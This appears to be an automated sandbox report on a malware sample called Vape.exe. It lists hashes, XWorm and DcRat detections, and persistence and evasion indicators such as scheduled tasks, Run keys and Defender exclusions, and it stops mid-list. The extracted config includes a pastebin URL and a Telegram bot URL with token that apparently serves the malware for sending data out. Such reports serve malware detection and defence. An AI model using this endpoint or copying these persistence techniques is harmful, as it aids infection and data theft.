Analysis
-
max time kernel
507s -
max time network
541s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
22-05-2024 13:40
Static task
static1
Behavioral task
behavioral1
Sample
Vape.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
Vape.exe
Resource
win7-20240508-en
Behavioral task
behavioral3
Sample
Vape.exe
Resource
win10-20240404-en
Behavioral task
behavioral4
Sample
Vape.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
Vape.exe
Resource
win11-20240508-en
Behavioral task
behavioral6
Sample
Vape.exe
Resource
macos-20240410-en
Errors
General
-
Target
Vape.exe
-
Size
16.9MB
-
MD5
b682cd3286eb0cd188dc896d6fd7fa0c
-
SHA1
f6f15cbc94072cbdab5ae4548c4b13d787f6f617
-
SHA256
66ac4015c48cc00c995fc8910d09e2ccc0b559785fc52a959a4d2de9fdb8c62b
-
SHA512
a30ada153f1c2ead70bbe27b3bb770512d04b469ec3e3f19266f81cd06150e1297e06877c5ed899040a7a760d64d24892477df17294721fd8560082a634ce2f5
-
SSDEEP
393216:61HGgtq8HRisK/m6Smj8xBPKEUVrHCKAfcI:6tGOqKRO/9Smj8bPsxsfcI
Malware Config
Extracted
xworm
-
Install_directory
%AppData%
-
install_file
Microsoft_WindowsDefender.exe
-
pastebin_url
https://pastebin.com/raw/dxKNAdeE
-
telegram
https://api.telegram.org/bot7013809678:AAEFwh-OW3w4YnEldOGR6NvGudG5gj8iF0Q/sendMessage?chat_id=5073217277
Signatures
-
DcRat 35 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2028 schtasks.exe 944 schtasks.exe 1048 schtasks.exe 2772 schtasks.exe 2548 schtasks.exe 536 schtasks.exe 2300 schtasks.exe 1740 schtasks.exe 2184 schtasks.exe 1508 schtasks.exe 1416 schtasks.exe 1688 schtasks.exe 2616 schtasks.exe 2536 schtasks.exe 1436 schtasks.exe 2216 schtasks.exe 316 schtasks.exe 1804 schtasks.exe 3048 schtasks.exe 2936 schtasks.exe 1868 schtasks.exe 2108 schtasks.exe 4472 schtasks.exe 1012 schtasks.exe 3028 schtasks.exe 1644 schtasks.exe 2244 schtasks.exe 2764 schtasks.exe 912 schtasks.exe 1608 schtasks.exe 2052 schtasks.exe 2460 schtasks.exe 2700 schtasks.exe 1108 schtasks.exe 1948 schtasks.exe -
Detect Xworm Payload 8 IoCs
Processes:
resource yara_rule behavioral2/memory/2584-69-0x00000000008F0000-0x0000000000908000-memory.dmp family_xworm C:\Users\Admin\AppData\Local\Temp\Msvchost.exe family_xworm behavioral2/memory/1900-802-0x0000000000E00000-0x0000000000E18000-memory.dmp family_xworm behavioral2/memory/556-1121-0x0000000000E00000-0x0000000000E18000-memory.dmp family_xworm behavioral2/memory/2200-1346-0x0000000001290000-0x00000000012A8000-memory.dmp family_xworm behavioral2/memory/3940-1815-0x0000000001290000-0x00000000012A8000-memory.dmp family_xworm behavioral2/memory/2444-2087-0x0000000000050000-0x0000000000068000-memory.dmp family_xworm behavioral2/memory/4724-2366-0x0000000000210000-0x0000000000228000-memory.dmp family_xworm -
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
krvwtl.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\krvwtl.exe\"" krvwtl.exe -
Modifies security service 2 TTPs 3 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP svchost.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection svchost.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection = 22020100 svchost.exe -
Process spawned unexpected child process 33 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2052 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 536 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1012 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1108 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3028 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1436 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 912 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2300 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2216 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1740 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 316 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1644 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1804 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1948 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3048 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 944 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1048 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2184 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1508 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1416 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2108 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2936 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2460 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1868 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2244 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1688 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1608 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2700 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2616 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2772 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2764 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2548 1956 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2536 1956 schtasks.exe wmiprvse.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe dcrat C:\Webdriversession\Intoref.exe dcrat behavioral2/memory/276-106-0x0000000000080000-0x000000000020C000-memory.dmp dcrat behavioral2/memory/1992-146-0x0000000000840000-0x00000000009CC000-memory.dmp dcrat behavioral2/memory/3900-1812-0x0000000000830000-0x00000000009BC000-memory.dmp dcrat behavioral2/memory/4672-2443-0x0000000000070000-0x00000000001FC000-memory.dmp dcrat behavioral2/memory/4796-2656-0x0000000001050000-0x00000000011DC000-memory.dmp dcrat behavioral2/memory/3972-2674-0x0000000000960000-0x0000000000AEC000-memory.dmp dcrat behavioral2/memory/4904-2680-0x0000000000AA0000-0x0000000000C2C000-memory.dmp dcrat behavioral2/memory/5164-3058-0x0000000000810000-0x000000000099C000-memory.dmp dcrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 2312 powershell.exe 1532 powershell.exe -
Creates new service(s) 2 TTPs
-
Sets service image path in registry 2 TTPs 1 IoCs
Processes:
services.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\QHRAJGDI\ImagePath = "C:\\ProgramData\\nalfdgwigwyg\\lhhsgwktkatl.exe" services.exe -
Drops startup file 4 IoCs
Processes:
Msvchost.exeMicrosoft_WindowsDefender.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft_WindowsDefender.lnk Msvchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft_WindowsDefender.lnk Msvchost.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft_WindowsDefender.lnk Microsoft_WindowsDefender.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft_WindowsDefender.lnk Microsoft_WindowsDefender.exe -
Executes dropped EXE 24 IoCs
Processes:
Microsoft_Protection.exeMicrosoft_crypt.exeMicrosoft_R.exeMicrosoft_R.exeMicrosoft_M.exeMsvchost.exeMicrosoft_M.exeExplorer.EXEIntoref.exeIdle.exelhhsgwktkatl.exeMicrosoft_WindowsDefender.exeMicrosoft_WindowsDefender.exeMicrosoft_WindowsDefender.exeMicrosoft_WindowsDefender.exewininit.exeMicrosoft_WindowsDefender.exeMicrosoft_WindowsDefender.exeMicrosoft_WindowsDefender.exelsass.exeMicrosoft_M.execsrss.exewinlogon.exekrvwtl.exepid process 1372 Microsoft_Protection.exe 856 Microsoft_crypt.exe 2620 Microsoft_R.exe 2744 Microsoft_R.exe 2568 Microsoft_M.exe 2584 Msvchost.exe 2800 Microsoft_M.exe 1260 Explorer.EXE 276 Intoref.exe 1992 Idle.exe 1040 lhhsgwktkatl.exe 1900 Microsoft_WindowsDefender.exe 556 Microsoft_WindowsDefender.exe 2200 Microsoft_WindowsDefender.exe 2212 Microsoft_WindowsDefender.exe 3900 wininit.exe 3940 Microsoft_WindowsDefender.exe 2444 Microsoft_WindowsDefender.exe 4724 Microsoft_WindowsDefender.exe 4672 lsass.exe 4796 Microsoft_M.exe 4904 csrss.exe 3972 winlogon.exe 4972 krvwtl.exe -
Loads dropped DLL 13 IoCs
Processes:
Vape.exeMicrosoft_R.exeMicrosoft_R.exeMicrosoft_M.exeMicrosoft_M.execmd.exeExplorer.EXEservices.exepid process 1848 Vape.exe 1848 Vape.exe 1848 Vape.exe 2620 Microsoft_R.exe 2744 Microsoft_R.exe 1848 Vape.exe 2568 Microsoft_M.exe 2800 Microsoft_M.exe 2988 cmd.exe 2988 cmd.exe 1260 Explorer.EXE 476 services.exe 476 services.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI26202\python311.dll upx behavioral2/memory/2744-94-0x000007FEF3160000-0x000007FEF3749000-memory.dmp upx behavioral2/memory/2800-95-0x000007FEF2110000-0x000007FEF26F9000-memory.dmp upx -
Adds Run key to start application 2 TTPs 15 IoCs
Processes:
krvwtl.exeMsvchost.exeMicrosoft_WindowsDefender.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\krvwtl.exe\"" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft_WindowsDefender = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft_WindowsDefender.exe" Msvchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\krvwtl.exe\" /setup" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\krvwtl.exe\" -startup" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\krvwtl.exe\" --init" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\krvwtl.exe\" --wininit" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe" krvwtl.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft_WindowsDefender = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft_WindowsDefender.exe" Microsoft_WindowsDefender.exe -
Drops desktop.ini file(s) 20 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\03PVXV8P\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.ini attrib.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\USLGY7LX\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini attrib.exe File opened for modification C:\Users\Public\Desktop\desktop.ini attrib.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2Y8NTX1F\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SKAMU6WE\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\1D5U9W0O\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini attrib.exe File opened for modification C:\Users\Admin\Documents\desktop.ini attrib.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-268080393-3149932598-1824759070-1000\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\5Z74IJYR\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\X7K1QVVO\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9PLWLLW7\desktop.ini attrib.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
Processes:
flow ioc 37 pastebin.com 38 pastebin.com 2 pastebin.com 3 pastebin.com 13 pastebin.com -
Drops file in System32 directory 24 IoCs
Processes:
WMIADAP.EXEMicrosoft_crypt.exepowershell.exesvchost.exepowershell.exelhhsgwktkatl.exesvchost.exedescription ioc process File created C:\Windows\system32\perfc011.dat WMIADAP.EXE File created C:\Windows\system32\perfh011.dat WMIADAP.EXE File created C:\Windows\system32\PerfStringBackup.TMP WMIADAP.EXE File opened for modification C:\Windows\system32\MRT.exe Microsoft_crypt.exe File created C:\Windows\system32\perfh007.dat WMIADAP.EXE File created C:\Windows\system32\perfh009.dat WMIADAP.EXE File created C:\Windows\system32\perfc010.dat WMIADAP.EXE File created C:\Windows\system32\perfh010.dat WMIADAP.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx svchost.exe File created C:\Windows\system32\perfc007.dat WMIADAP.EXE File created C:\Windows\system32\perfc009.dat WMIADAP.EXE File created C:\Windows\system32\perfh00C.dat WMIADAP.EXE File created C:\Windows\system32\wbem\Performance\WmiApRpl_new.h WMIADAP.EXE File created C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini WMIADAP.EXE File created C:\Windows\system32\perfc00A.dat WMIADAP.EXE File created C:\Windows\system32\perfh00A.dat WMIADAP.EXE File created C:\Windows\system32\perfc00C.dat WMIADAP.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\Winevt\Logs\Setup.evtx svchost.exe File opened for modification C:\Windows\system32\MRT.exe lhhsgwktkatl.exe File opened for modification C:\Windows\system32\PerfStringBackup.INI WMIADAP.EXE File created C:\Windows\System32\Tasks\Microsoft_WindowsDefender svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft_WindowsDefender svchost.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
Microsoft_crypt.exelhhsgwktkatl.exedescription pid process target process PID 856 set thread context of 2000 856 Microsoft_crypt.exe dialer.exe PID 1040 set thread context of 2780 1040 lhhsgwktkatl.exe dialer.exe PID 1040 set thread context of 1464 1040 lhhsgwktkatl.exe dialer.exe PID 1040 set thread context of 2704 1040 lhhsgwktkatl.exe dialer.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Intoref.exedescription ioc process File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\audiodg.exe Intoref.exe File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\42af1c969fbb7b Intoref.exe File created C:\Program Files\Reference Assemblies\Microsoft\Framework\Microsoft_M.exe Intoref.exe File created C:\Program Files\Reference Assemblies\Microsoft\Framework\18e71c26c9a8c0 Intoref.exe -
Drops file in Windows directory 8 IoCs
Processes:
WMIADAP.EXEIntoref.exewusa.exesvchost.exewusa.exedescription ioc process File created C:\Windows\inf\WmiApRpl\0009\WmiApRpl.ini WMIADAP.EXE File created C:\Windows\addins\Idle.exe Intoref.exe File created C:\Windows\addins\6ccacd8608530f Intoref.exe File created C:\Windows\wusa.lock wusa.exe File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File opened for modification C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 448 sc.exe 1464 sc.exe 2412 sc.exe 760 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 35 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 3028 schtasks.exe 912 schtasks.exe 1740 schtasks.exe 944 schtasks.exe 2536 schtasks.exe 2216 schtasks.exe 316 schtasks.exe 3048 schtasks.exe 2936 schtasks.exe 2244 schtasks.exe 1688 schtasks.exe 2548 schtasks.exe 1012 schtasks.exe 2108 schtasks.exe 2028 schtasks.exe 1804 schtasks.exe 1948 schtasks.exe 1508 schtasks.exe 1608 schtasks.exe 536 schtasks.exe 1108 schtasks.exe 2300 schtasks.exe 4472 schtasks.exe 2460 schtasks.exe 1436 schtasks.exe 1644 schtasks.exe 2184 schtasks.exe 1416 schtasks.exe 2700 schtasks.exe 2616 schtasks.exe 2764 schtasks.exe 2052 schtasks.exe 1048 schtasks.exe 1868 schtasks.exe 2772 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 4184 timeout.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 5028 taskkill.exe -
Modifies data under HKEY_USERS 6 IoCs
Processes:
powershell.exedialer.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 705344c74dacda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT dialer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates dialer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Microsoft_crypt.exeIntoref.exeIdle.exepowershell.exedialer.exelhhsgwktkatl.exepowershell.exewmiprvse.exedialer.exepid process 856 Microsoft_crypt.exe 276 Intoref.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 1992 Idle.exe 2312 powershell.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 2000 dialer.exe 2000 dialer.exe 2000 dialer.exe 2000 dialer.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 856 Microsoft_crypt.exe 2000 dialer.exe 2000 dialer.exe 1040 lhhsgwktkatl.exe 2000 dialer.exe 1992 Idle.exe 1532 powershell.exe 2000 dialer.exe 1956 wmiprvse.exe 1956 wmiprvse.exe 1956 wmiprvse.exe 1956 wmiprvse.exe 2000 dialer.exe 2000 dialer.exe 2000 dialer.exe 2000 dialer.exe 1040 lhhsgwktkatl.exe 1040 lhhsgwktkatl.exe 1040 lhhsgwktkatl.exe 1040 lhhsgwktkatl.exe 1040 lhhsgwktkatl.exe 1040 lhhsgwktkatl.exe 1040 lhhsgwktkatl.exe 2000 dialer.exe 2000 dialer.exe 2780 dialer.exe 2780 dialer.exe 1040 lhhsgwktkatl.exe 2780 dialer.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Idle.exepid process 1992 Idle.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Msvchost.exeIntoref.exeIdle.exepowershell.exedialer.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exesvchost.exepowershell.exewmiprvse.exesvchost.exedialer.exepowercfg.exepowercfg.exepowercfg.exedialer.exepowercfg.exedescription pid process Token: SeDebugPrivilege 2584 Msvchost.exe Token: SeDebugPrivilege 2584 Msvchost.exe Token: SeDebugPrivilege 276 Intoref.exe Token: SeDebugPrivilege 1992 Idle.exe Token: SeDebugPrivilege 2312 powershell.exe Token: SeDebugPrivilege 2000 dialer.exe Token: SeShutdownPrivilege 2236 powercfg.exe Token: SeShutdownPrivilege 2916 powercfg.exe Token: SeShutdownPrivilege 2088 powercfg.exe Token: SeShutdownPrivilege 2920 powercfg.exe Token: SeAuditPrivilege 836 svchost.exe Token: SeDebugPrivilege 1532 powershell.exe Token: SeAssignPrimaryTokenPrivilege 836 svchost.exe Token: SeIncreaseQuotaPrivilege 836 svchost.exe Token: SeSecurityPrivilege 836 svchost.exe Token: SeTakeOwnershipPrivilege 836 svchost.exe Token: SeLoadDriverPrivilege 836 svchost.exe Token: SeSystemtimePrivilege 836 svchost.exe Token: SeBackupPrivilege 836 svchost.exe Token: SeRestorePrivilege 836 svchost.exe Token: SeShutdownPrivilege 836 svchost.exe Token: SeSystemEnvironmentPrivilege 836 svchost.exe Token: SeUndockPrivilege 836 svchost.exe Token: SeManageVolumePrivilege 836 svchost.exe Token: SeAssignPrimaryTokenPrivilege 836 svchost.exe Token: SeIncreaseQuotaPrivilege 836 svchost.exe Token: SeSecurityPrivilege 836 svchost.exe Token: SeTakeOwnershipPrivilege 836 svchost.exe Token: SeLoadDriverPrivilege 836 svchost.exe Token: SeSystemtimePrivilege 836 svchost.exe Token: SeBackupPrivilege 